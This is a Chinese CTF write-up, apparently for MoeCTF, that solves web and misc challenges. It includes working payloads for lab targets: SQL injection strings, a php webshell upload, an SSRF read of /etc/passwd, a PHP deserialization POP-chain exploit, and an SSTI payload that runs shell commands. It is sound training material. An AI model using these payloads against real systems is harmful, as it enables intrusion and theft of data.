
0. 总结的一些做题思路 链接到标题
工具:BurpSuite,WRSX(西电CTF用),AntSword,御剑扫描工具,HackBar
index.phps查看php源码
字符串能和0弱比较相等
查看php相关信息可以用phpinfo();
1. 0基础入门 链接到标题
1.1 在此签到 链接到标题
在QQ群绑定账号即可获得flag。
2. Web渗透测试与审计 链接到标题
2.1 Web渗透测试与审计入门指北 链接到标题
在vm虚拟机中安装任意Linux发行版,安装宝塔面板部署网站,将题中附件放入网站目录,使用浏览器打开即可获得flag。
2.2 弗拉格之地的入口 链接到标题
根据题目信息打开爬虫协议/robot.txt文件
# Robots.txt file for xdsec.org
# only robots can find the entrance of web-tutor
User-agent: *
Disallow: /webtutorEntry.php
再打开/webtutorEntry.php即可看到flag。
2.3 垫刀之路01 链接到标题
输入ls /查看根目录下文件,发现flag和flag.sh。赶紧点开看看,使用cat命令查看后,好家伙被骗了,但是得到提示:看看环境变量。输入env命令查看环境变量即可得到flag。
2.4 ez_http 链接到标题
按要求使用post和get提交参数,出现提示source must be….,修改请求头referer信息,记得放到host之后,出现提示setcookie,在Connection下面设置cookie即可。提示使用MoeDedicatedBrowser,把UserAgent设成这个就行。提示Local Access Only,改xff为127.0.0.1,之后就能得到flag了!!!
2.5 ProveYourLove 链接到标题
笨方法,用代理拦截一次发出n多请求,点的我手疼hhh
2.6 弗拉格之地的挑战 链接到标题
得到提示信息,在地址栏加上/flag1ab.html,打开第二个页面
右键查看页面源代码在注释中得到提示,得到flag1和下一步的url
<!--恭喜你找到了网页的源代码,通常在这里题目会放一些提示,做题没头绪一定要先进来看一下-->
<!--flag1: bW9lY3Rm-->
<!--下一步:/flag2hh.php-->
跳转到第二个页面,提示关键词http
打开BurpSuite抓包,在http响应头中发现flag2e0FmdEV和nextpage: /flag3cad.php,继续跳转,按提示用GET和POST传参,传参后出现提示要求Admin身份验证,继续抓包,发现verify=user,将其改为admin
得到flag3: yX3RoMXN,继续下一关,提示修改referer,抓包修改,注意将referer字段插入Host之后,其他位置无效。请求成功后,嗯?听声辩位哈哈哈,点击开始发现没有第九个按钮?,没关系,f12打开源代码借一个按钮当9就ok了,出现提示使用console.log,查看控制台得到flag4: fdFVUMHJ,继续跳转,提示输入I want flag,本来想着在前端把javaScript删掉完事,结果还不行,绕过前端直接post数据就ok了。flag5: fSV90aDF,继续跳转显示一段php代码,按照要求进行POST和GET,得到flag6: rZV9VX2t,最后一关,提示eval($_POST['what']);意为执行what参数中的值,使用POST执行Linux命令,在根目录下可得到flag7rbm93X1dlQn0=组合起来,最后的flag即为bW9lY3Rme0FmdEVyX3RoMXNfdFVUMHJfSV90aDFrZV9VX2trbm93X1dlQn0=通过base64解码可得到flag
2.7 ImageCloud前置 链接到标题
SSRF题目文本框输入file:///etc/passwd即可看到flag
2.8 垫刀之路02 链接到标题
非常简单,没有任何前后端限制,直接把php一句话木马上传进去就ok,控制台输出文件存储url,这么直球哈哈哈,中国蚁剑启动!(ps:真好用,之前做垫刀01的时候在那ls半天。。)按照题目提示env查看环境变量,即可找到flag
2.9 垫刀之路03 链接到标题
和上题唯一的区别是加了文件类型验证,抓包修改文件后缀名为php即可。
2.10 垫刀之路04 链接到标题
使用四个../翻到根目录,在tmp/中找到flag
2.11 垫刀之路05 链接到标题
简单的sql注入,没有任何过滤,用户名和密码输入'='即可得到flag
2.12 垫刀之路06 链接到标题
考察反序列化
<?php
class A {
// 注意 private 属性的序列化哦
private $evil = 'env';
// 如何赋值呢
private $a = 'system';
// function __destruct() {
// $s = $this->a;
// $s($this->evil);
//}
}
class B {
private $b;
//function __invoke($c) {
// $s = $this->b;
// $s($c);
//}
}
$obj = new A();
echo urlencode(serialize($obj));
?>
构造这个代码,在线运行后作为data变量的值通过get传参(ps:经典的flag位置hh)
2.13 垫刀之路07 链接到标题
url后面加console进入shell,输入pin码(竟然是对的hh),利用python命令在/app下找到flag文件
import os
os.popen("SYSCMD").read()
2.14 静态网页 链接到标题
通过document.lastModified();看出网页是伪静态的(ps:被bing误导了,一直以为是伪静态,其实跟伪静态没半毛钱关系)在源码中搜索flag,发现"flag": "Please turn to final1l1l_challenge.php",跳转,发现又是一道源码审计题。。传入满足条件的a和b即可(字符串弱比较结果是0,坑死我了!!!)
?a=s155964671a(任意md5为0e开头的值)
b=0abcd(任意开头为0且不全为数字的值)
2.15 电院_backend 链接到标题
使用路径扫描工具进行扫描,发现/admin/,访问发现登陆界面,查看附件源码,发现密码被md5加密,尝试从邮箱注入,正则表达式要求邮箱为xxx@xxx.xxx的格式,并且不能出现or,构造a@a.a' || '1'='1' #(#把后面的查询语句注释掉了)随便输入密码和验证码,得到flag。
2.16 pop moe 链接到标题
代码审计题
<?php
class class000 {
private $payl0ad = '0';//跳过if
protected $what = new class001();//要调用class001的invoke方法
// public function __destruct()
// {
// $this->check();
// }
// public function check()
// {
// if($this->payl0ad === 0)
// {
// die('FAILED TO ATTACK');
// }
// $a = $this->what;
// $a();//此时会调用class001的invoke方法
// }
}
class class001 {
public $payl0ad = 'dangerous';
public $a = new class002();
// public function __invoke()
// {
// $this->a->payload = $this->payl0ad;//把dangerous赋给class002的payload变量,相当于设置变量,会调用set方法
// }
}
class class002 {
private $sec = new class003();
// public function __set($a, $b)//值是dangerous
// {
// $this->$b($this->sec);//把b设置成dangerous,sec为new class003()返回mystr
// }
// public function dangerous($whaattt)
// {
// $whaattt->evvval($this->sec);//$whaattt设置为class003,sec设置为new class003(),whaatt设置需要执行dangerous方法
// }
}
class class003 {
public $mystr = 'phpinfo();';//设置mystr为要执行rce的命令
// public function evvval($str)
// {
// eval($str);
// }
// public function __tostring()
// {
// return $this->mystr;
// }
}
echo serialize(new class000());
// if(isset($_GET['data']))
// {
// $a = unserialize($_GET['data']);
// }
// else {
// highlight_file(__FILE__);
// }
实测这样不行,要调用__construct方法,呜呜呜,修改一下
<?php
class class000{
public $payl0ad;
public $what;
public function __construct(){
$this->payl0ad = '0';
$this->what = new class001();
}
}
class class001{
public $payl0ad;
public $a;
public function __construct(){
$this->payl0ad = 'dangerous';
$this->a = new class002();
}
}
class class002{
public $sec;
public function __construct(){
$this->sec = new class003();
}
}
class class003{
public $mystr;
public function __construct(){
$this->mystr = 'phpinfo();';
}
}
echo serialize(new class000());
?>
得到输出
O:8:"class000":2:{s:7:"payl0ad";s:1:"0";s:4:"what";O:8:"class001":2:{s:7:"payl0ad";s:9:"dangerous";s:1:"a";O:8:"class002":1:{s:3:"sec";O:8:"class003":1:{s:5:"mystr";s:10:"phpinfo();";}}}}
通过get发送即可,在页面搜索flag即可找到。
2.17 Who’s blog? 链接到标题
ssti注入,使用hackbar内置的注入模板即可得到flag
?id={{self.__init__.__globals__.__builtins__['__import__']('os').popen('env').read()}}
2.18 勇闯铜人阵 链接到标题
写脚本题(好难呜呜)gpt帮我,抓包发现点击回答按钮后会发送post请求,服务器随机返回1到2个数字,在3秒内拼接字符串直接通过post发送即可
import requests
# 服务URL
url = "http://127.0.0.1:55165/"
# 初始化session对象
session = requests.Session()
# 方位数据
directions_single = ["北方", "东北方", "东方", "东南方", "南方", "西南方", "西方", "西北方"]
directions_double = [f"{d}一个" for d in directions_single]
prompts = ['1', '2', '3', '4', '5', '6', '7', '8']
# 初始数据
data_init = {
'player': 1,
'direct': '弟子明白'
}
try:
# 发送初始POST请求
response = session.post(url, data=data_init)
response.raise_for_status() # 检查请求是否成功
# 重复过程5次
for _ in range(5):
# 提取消息中的最后8个字符作为提示
msg = response.text[-30:-22]
# 分析提示
num = 0
string = ''
for char in msg:
if char in prompts:
num += 1
string += char
# 根据提示数量构建新的请求数据
if num == 1:
index = int(string) - 1
direction_data = {
'player': 1,
'direct': directions_single[index]
}
print(f'Sending: {directions_single[index]}')
elif num == 2:
index1, index2 = int(string[0]) - 1, int(string[1]) - 1
direction_data = {
'player': 1,
'direct': f'{directions_double[index1]},{directions_double[index2]}'
}
print(f'Sending: {directions_double[index1]},{directions_double[index2]}')
else:
raise ValueError("Unexpected number of prompts: {}".format(num))
# 发送新请求
response = session.post(url, data=direction_data)
response.raise_for_status()
print(response.text)
except requests.exceptions.RequestException as e:
print(f"An error occurred: {e}")
2.19 ImageCloud 链接到标题
审计代码,发现点击上传图片之后会自动生成一个5000端口的url和一个端口在(5001,6000)随机的url,利用burpSuite进行爆破,发现5039端口响应长度不同,将端口号改为5039,在http://127.0.0.1:49265/image?url=http://localhost:5039/image/flag.jpg下发现flag图片(还要OCR,不能直接复制呜呜呜)
flag:moectf{CeTTebRaT3-YoU_4tt@CK-to_mY-tMAGE-Ct0UDHHHhhh355}
3. 安全杂项 链接到标题
3.1 杂项入门指北 链接到标题
观察海报右侧发现摩尔斯密码,在线解密后得到flag,使用moectf{}包裹提交即可
3.2 signin 链接到标题
按照提示签到即可
3.3 罗小黑战记 链接到标题
拆分gif为帧图片,出现二维码,扫码即可获得flag
3.4 ez_F5 链接到标题
按照题目提示使用F5隐写软件解码即可repo,注意要使用java8,高版本的jdk会报错,密码见图片文件属性,使用base32解码即可得到
java Extract <file> -p no_password在output.txt发现flag